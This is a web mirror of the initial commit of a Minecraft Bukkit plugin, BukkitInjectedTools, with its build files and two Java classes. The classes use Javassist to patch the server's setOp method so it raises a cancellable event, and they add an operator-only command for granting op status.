mirror of
				https://e.coding.net/circlecloud/BukkitInjectedTools.git
				synced 2025-11-03 17:56:36 +00:00 
			
		
		
		
	init: 初始化项目
This commit is contained in:
		
							
								
								
									
										21
									
								
								.classpath
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										21
									
								
								.classpath
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,21 @@
 | 
				
			|||||||
 | 
					<?xml version="1.0" encoding="UTF-8"?>
 | 
				
			||||||
 | 
					<classpath>
 | 
				
			||||||
 | 
						<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7">
 | 
				
			||||||
 | 
							<attributes>
 | 
				
			||||||
 | 
								<attribute name="maven.pomderived" value="true"/>
 | 
				
			||||||
 | 
							</attributes>
 | 
				
			||||||
 | 
						</classpathentry>
 | 
				
			||||||
 | 
						<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER">
 | 
				
			||||||
 | 
							<attributes>
 | 
				
			||||||
 | 
								<attribute name="maven.pomderived" value="true"/>
 | 
				
			||||||
 | 
							</attributes>
 | 
				
			||||||
 | 
						</classpathentry>
 | 
				
			||||||
 | 
						<classpathentry kind="src" output="target/classes" path="src/main/java">
 | 
				
			||||||
 | 
							<attributes>
 | 
				
			||||||
 | 
								<attribute name="optional" value="true"/>
 | 
				
			||||||
 | 
								<attribute name="maven.pomderived" value="true"/>
 | 
				
			||||||
 | 
							</attributes>
 | 
				
			||||||
 | 
						</classpathentry>
 | 
				
			||||||
 | 
						<classpathentry kind="src" path="src/main/resources"/>
 | 
				
			||||||
 | 
						<classpathentry kind="output" path="target/classes"/>
 | 
				
			||||||
 | 
					</classpath>
 | 
				
			||||||
							
								
								
									
										38
									
								
								.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										38
									
								
								.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1,38 @@
 | 
				
			|||||||
 | 
					# Eclipse stuff
 | 
				
			||||||
 | 
					/.settings
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# netbeans
 | 
				
			||||||
 | 
					/nbproject
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# we use maven!
 | 
				
			||||||
 | 
					/build.xml
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# maven
 | 
				
			||||||
 | 
					/target
 | 
				
			||||||
 | 
					/repo
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# vim
 | 
				
			||||||
 | 
					.*.sw[a-p]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# various other potential build files
 | 
				
			||||||
 | 
					/build
 | 
				
			||||||
 | 
					/bin
 | 
				
			||||||
 | 
					/dist
 | 
				
			||||||
 | 
					/manifest.mf
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/world
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Mac filesystem dust
 | 
				
			||||||
 | 
					*.DS_Store
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# intellij
 | 
				
			||||||
 | 
					*.iml
 | 
				
			||||||
 | 
					*.ipr
 | 
				
			||||||
 | 
					*.iws
 | 
				
			||||||
 | 
					.idea/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Project Stuff
 | 
				
			||||||
 | 
					/src/main/resources/Soulbound
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Atlassian Stuff
 | 
				
			||||||
 | 
					/atlassian-ide-plugin.xml
 | 
				
			||||||
							
								
								
									
										23
									
								
								.project
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										23
									
								
								.project
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,23 @@
 | 
				
			|||||||
 | 
					<?xml version="1.0" encoding="UTF-8"?>
 | 
				
			||||||
 | 
					<projectDescription>
 | 
				
			||||||
 | 
						<name>BukkitInjectedTools</name>
 | 
				
			||||||
 | 
						<comment></comment>
 | 
				
			||||||
 | 
						<projects>
 | 
				
			||||||
 | 
						</projects>
 | 
				
			||||||
 | 
						<buildSpec>
 | 
				
			||||||
 | 
							<buildCommand>
 | 
				
			||||||
 | 
								<name>org.eclipse.jdt.core.javabuilder</name>
 | 
				
			||||||
 | 
								<arguments>
 | 
				
			||||||
 | 
								</arguments>
 | 
				
			||||||
 | 
							</buildCommand>
 | 
				
			||||||
 | 
							<buildCommand>
 | 
				
			||||||
 | 
								<name>org.eclipse.m2e.core.maven2Builder</name>
 | 
				
			||||||
 | 
								<arguments>
 | 
				
			||||||
 | 
								</arguments>
 | 
				
			||||||
 | 
							</buildCommand>
 | 
				
			||||||
 | 
						</buildSpec>
 | 
				
			||||||
 | 
						<natures>
 | 
				
			||||||
 | 
							<nature>org.eclipse.m2e.core.maven2Nature</nature>
 | 
				
			||||||
 | 
							<nature>org.eclipse.jdt.core.javanature</nature>
 | 
				
			||||||
 | 
						</natures>
 | 
				
			||||||
 | 
					</projectDescription>
 | 
				
			||||||
							
								
								
									
										92
									
								
								pom.xml
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										92
									
								
								pom.xml
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,92 @@
 | 
				
			|||||||
 | 
					<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 | 
				
			||||||
 | 
						xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 | 
				
			||||||
 | 
						<modelVersion>4.0.0</modelVersion>
 | 
				
			||||||
 | 
						<groupId>pw.yumc</groupId>
 | 
				
			||||||
 | 
						<artifactId>BukkitInjectedTools</artifactId>
 | 
				
			||||||
 | 
						<version>1.0</version>
 | 
				
			||||||
 | 
						<name>BukkitInjectedTools</name>
 | 
				
			||||||
 | 
						<build>
 | 
				
			||||||
 | 
							<finalName>${project.name}</finalName>
 | 
				
			||||||
 | 
							<resources>
 | 
				
			||||||
 | 
								<resource>
 | 
				
			||||||
 | 
									<directory>src/main/resources</directory>
 | 
				
			||||||
 | 
									<filtering>true</filtering>
 | 
				
			||||||
 | 
								</resource>
 | 
				
			||||||
 | 
							</resources>
 | 
				
			||||||
 | 
							<plugins>
 | 
				
			||||||
 | 
								<plugin>
 | 
				
			||||||
 | 
									<artifactId>maven-compiler-plugin</artifactId>
 | 
				
			||||||
 | 
									<version>3.1</version>
 | 
				
			||||||
 | 
									<configuration>
 | 
				
			||||||
 | 
										<source>1.7</source>
 | 
				
			||||||
 | 
										<target>1.7</target>
 | 
				
			||||||
 | 
									</configuration>
 | 
				
			||||||
 | 
								</plugin>
 | 
				
			||||||
 | 
								<plugin>
 | 
				
			||||||
 | 
									<groupId>org.apache.maven.plugins</groupId>
 | 
				
			||||||
 | 
									<artifactId>maven-shade-plugin</artifactId>
 | 
				
			||||||
 | 
									<version>2.3</version>
 | 
				
			||||||
 | 
									<configuration>
 | 
				
			||||||
 | 
										<createDependencyReducedPom>false</createDependencyReducedPom>
 | 
				
			||||||
 | 
										<minimizeJar>true</minimizeJar>
 | 
				
			||||||
 | 
										<artifactSet>
 | 
				
			||||||
 | 
											<includes>
 | 
				
			||||||
 | 
												<include>cn.citycraft:PluginHelper</include>
 | 
				
			||||||
 | 
											</includes>
 | 
				
			||||||
 | 
										</artifactSet>
 | 
				
			||||||
 | 
										<relocations>
 | 
				
			||||||
 | 
											<relocation>
 | 
				
			||||||
 | 
												<pattern>cn.citycraft.PluginHelper</pattern>
 | 
				
			||||||
 | 
												<shadedPattern>${project.groupId}.${project.artifactId}</shadedPattern>
 | 
				
			||||||
 | 
											</relocation>
 | 
				
			||||||
 | 
										</relocations>
 | 
				
			||||||
 | 
									</configuration>
 | 
				
			||||||
 | 
									<executions>
 | 
				
			||||||
 | 
										<execution>
 | 
				
			||||||
 | 
											<phase>package</phase>
 | 
				
			||||||
 | 
											<goals>
 | 
				
			||||||
 | 
												<goal>shade</goal>
 | 
				
			||||||
 | 
											</goals>
 | 
				
			||||||
 | 
										</execution>
 | 
				
			||||||
 | 
									</executions>
 | 
				
			||||||
 | 
								</plugin>
 | 
				
			||||||
 | 
							</plugins>
 | 
				
			||||||
 | 
						</build>
 | 
				
			||||||
 | 
						<ciManagement>
 | 
				
			||||||
 | 
							<system>Jenkins</system>
 | 
				
			||||||
 | 
							<url>http://ci.yumc.pw/job/${project.artifactId}/</url>
 | 
				
			||||||
 | 
						</ciManagement>
 | 
				
			||||||
 | 
						<properties>
 | 
				
			||||||
 | 
							<update.description></update.description>
 | 
				
			||||||
 | 
							<update.changes></update.changes>
 | 
				
			||||||
 | 
							<env.GIT_COMMIT>DEBUG</env.GIT_COMMIT>
 | 
				
			||||||
 | 
							<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 | 
				
			||||||
 | 
						</properties>
 | 
				
			||||||
 | 
						<repositories>
 | 
				
			||||||
 | 
							<repository>
 | 
				
			||||||
 | 
								<id>yumc-repo</id>
 | 
				
			||||||
 | 
								<url>http://repo.yumc.pw/content/groups/public/</url>
 | 
				
			||||||
 | 
							</repository>
 | 
				
			||||||
 | 
						</repositories>
 | 
				
			||||||
 | 
						<distributionManagement>
 | 
				
			||||||
 | 
							<repository>
 | 
				
			||||||
 | 
								<id>jtb</id>
 | 
				
			||||||
 | 
								<name>YUMC</name>
 | 
				
			||||||
 | 
								<url>http://repo.yumc.pw/content/repositories/yumcenter/</url>
 | 
				
			||||||
 | 
							</repository>
 | 
				
			||||||
 | 
						</distributionManagement>
 | 
				
			||||||
 | 
						<dependencies>
 | 
				
			||||||
 | 
							<dependency>
 | 
				
			||||||
 | 
								<groupId>org.spigotmc</groupId>
 | 
				
			||||||
 | 
								<artifactId>spigot-api</artifactId>
 | 
				
			||||||
 | 
								<type>jar</type>
 | 
				
			||||||
 | 
								<version>1.9-R0.1-SNAPSHOT</version>
 | 
				
			||||||
 | 
							</dependency>
 | 
				
			||||||
 | 
							<dependency>
 | 
				
			||||||
 | 
								<groupId>cn.citycraft</groupId>
 | 
				
			||||||
 | 
								<artifactId>PluginHelper</artifactId>
 | 
				
			||||||
 | 
								<type>jar</type>
 | 
				
			||||||
 | 
								<version>1.0</version>
 | 
				
			||||||
 | 
							</dependency>
 | 
				
			||||||
 | 
						</dependencies>
 | 
				
			||||||
 | 
					</project>
 | 
				
			||||||
@@ -0,0 +1,43 @@
 | 
				
			|||||||
 | 
					package pw.yumc.BukkitInjectedTools;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import java.io.File;
 | 
				
			||||||
 | 
					import java.io.IOException;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import org.bukkit.Bukkit;
 | 
				
			||||||
 | 
					import org.bukkit.OfflinePlayer;
 | 
				
			||||||
 | 
					import org.bukkit.plugin.java.JavaPlugin;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import cn.citycraft.PluginHelper.commands.HandlerCommand;
 | 
				
			||||||
 | 
					import cn.citycraft.PluginHelper.commands.HandlerCommands;
 | 
				
			||||||
 | 
					import cn.citycraft.PluginHelper.commands.InvokeCommandEvent;
 | 
				
			||||||
 | 
					import cn.citycraft.PluginHelper.commands.InvokeSubCommand;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/**
 | 
				
			||||||
 | 
					 * Bukkit 注入工具类
 | 
				
			||||||
 | 
					 *
 | 
				
			||||||
 | 
					 * @since 2016年3月31日 下午7:36:20
 | 
				
			||||||
 | 
					 * @author 喵♂呜
 | 
				
			||||||
 | 
					 */
 | 
				
			||||||
 | 
					public class BukkitInjectedTools extends JavaPlugin implements HandlerCommands {
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    @HandlerCommand(name = "inject")
 | 
				
			||||||
 | 
					    public void inject(final InvokeCommandEvent e) throws IOException {
 | 
				
			||||||
 | 
					        InjectedKit.injectSetOpMethod(e.getSender(), this.getDataFolder().getCanonicalPath() + File.separatorChar + "Bukkit");
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    @Override
 | 
				
			||||||
 | 
					    public void onEnable() {
 | 
				
			||||||
 | 
					        final InvokeSubCommand isc = new InvokeSubCommand(this, "BukkitInjectedTools");
 | 
				
			||||||
 | 
					        isc.registerCommands(this);
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    @Override
 | 
				
			||||||
 | 
					    public void onLoad() {
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    @HandlerCommand(name = "op", minimumArguments = 1)
 | 
				
			||||||
 | 
					    public void op(final InvokeCommandEvent e) {
 | 
				
			||||||
 | 
					        final OfflinePlayer op = Bukkit.getOfflinePlayer(e.getArgs()[0]);
 | 
				
			||||||
 | 
					        op.setOp(true);
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										62
									
								
								src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										62
									
								
								src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,62 @@
 | 
				
			|||||||
 | 
					package pw.yumc.BukkitInjectedTools;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import java.io.File;
 | 
				
			||||||
 | 
					import java.net.URLDecoder;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import org.bukkit.Bukkit;
 | 
				
			||||||
 | 
					import org.bukkit.command.CommandSender;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import javassist.ClassPool;
 | 
				
			||||||
 | 
					import javassist.CtClass;
 | 
				
			||||||
 | 
					import javassist.CtMethod;
 | 
				
			||||||
 | 
					import pw.yumc.injected.event.SetOpEvent;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/**
 | 
				
			||||||
 | 
					 * 注入工具集
 | 
				
			||||||
 | 
					 *
 | 
				
			||||||
 | 
					 * @since 2016年3月31日 下午7:44:25
 | 
				
			||||||
 | 
					 * @author 喵♂呜
 | 
				
			||||||
 | 
					 */
 | 
				
			||||||
 | 
					public class InjectedKit {
 | 
				
			||||||
 | 
					    public static String prefix = "§6[§bYum §a注入工具§6]§r ";
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    public static void injectSetOpMethod(final CommandSender sender, final String path) {
 | 
				
			||||||
 | 
					        sender.sendMessage(prefix + "§c生成 SetOp 拦截类...");
 | 
				
			||||||
 | 
					        try {
 | 
				
			||||||
 | 
					            final ClassPool pool = ClassPool.getDefault();
 | 
				
			||||||
 | 
					            final String craftOfflinePlayerClassName = Bukkit.getServer().getClass().getPackage().getName() + ".CraftOfflinePlayer";
 | 
				
			||||||
 | 
					            final File classFile = new File(URLDecoder.decode(SetOpEvent.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
 | 
				
			||||||
 | 
					            pool.appendClassPath(classFile.getPath());
 | 
				
			||||||
 | 
					            final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
 | 
				
			||||||
 | 
					            final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
 | 
				
			||||||
 | 
					            final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
 | 
				
			||||||
 | 
					            final String setop = ""
 | 
				
			||||||
 | 
					                    + "{"
 | 
				
			||||||
 | 
					                    + "    pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);"
 | 
				
			||||||
 | 
					                    + "    org.bukkit.Bukkit.getPluginManager().callEvent(event);"
 | 
				
			||||||
 | 
					                    + "    if(event.isCancelled()){"
 | 
				
			||||||
 | 
					                    + "      return;"
 | 
				
			||||||
 | 
					                    + "    }"
 | 
				
			||||||
 | 
					                    + "    if ($1 == isOp()) {"
 | 
				
			||||||
 | 
					                    + "      return;"
 | 
				
			||||||
 | 
					                    + "    }"
 | 
				
			||||||
 | 
					                    + "    if ($1) {"
 | 
				
			||||||
 | 
					                    + "      server.getHandle().addOp(profile);"
 | 
				
			||||||
 | 
					                    + "    } else {"
 | 
				
			||||||
 | 
					                    + "      server.getHandle().removeOp(profile);"
 | 
				
			||||||
 | 
					                    + "    }"
 | 
				
			||||||
 | 
					                    + "}";
 | 
				
			||||||
 | 
					            setOpMethod.setBody(setop);
 | 
				
			||||||
 | 
					            try {
 | 
				
			||||||
 | 
					                setOpEvent.writeFile(path);
 | 
				
			||||||
 | 
					                craftOfflinePlayer.writeFile(path);
 | 
				
			||||||
 | 
					                sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + path + " §b下所有文件到服务器Jar内!");
 | 
				
			||||||
 | 
					            } catch (final Exception e) {
 | 
				
			||||||
 | 
					                e.printStackTrace();
 | 
				
			||||||
 | 
					                sender.sendMessage(prefix + "§4生成失败 请查看后台报错!");
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        } catch (final Exception e) {
 | 
				
			||||||
 | 
					            e.printStackTrace();
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										21
									
								
								src/main/resources/plugin.yml
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										21
									
								
								src/main/resources/plugin.yml
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,21 @@
 | 
				
			|||||||
 | 
					name: ${project.artifactId}
 | 
				
			||||||
 | 
					description: ${project.description}
 | 
				
			||||||
 | 
					main: ${project.groupId}.${project.artifactId}.${project.artifactId}
 | 
				
			||||||
 | 
					version: ${project.version}-git-${env.GIT_COMMIT}
 | 
				
			||||||
 | 
					author: 喵♂呜
 | 
				
			||||||
 | 
					website: ${ciManagement.url}
 | 
				
			||||||
 | 
					commands:
 | 
				
			||||||
 | 
					  ${project.artifactId}:
 | 
				
			||||||
 | 
					    description: ${project.artifactId} - ${project.description}
 | 
				
			||||||
 | 
					    aliases:
 | 
				
			||||||
 | 
					    - bit
 | 
				
			||||||
 | 
					    usage: §b使用/${project.artifactId} help 查看帮助!
 | 
				
			||||||
 | 
					    permission: ${project.artifactId}.reload
 | 
				
			||||||
 | 
					    permission-message: §c你没有 <permission> 的权限来执行此命令!
 | 
				
			||||||
 | 
					permissions:
 | 
				
			||||||
 | 
					  ${project.artifactId}.use:
 | 
				
			||||||
 | 
					    description: ${project.artifactId} 使用!
 | 
				
			||||||
 | 
					    default: true
 | 
				
			||||||
 | 
					  ${project.artifactId}.reload:
 | 
				
			||||||
 | 
					    description: 重新载入插件!
 | 
				
			||||||
 | 
					    default: op
 | 
				
			||||||
		Reference in New Issue
	
	Block a user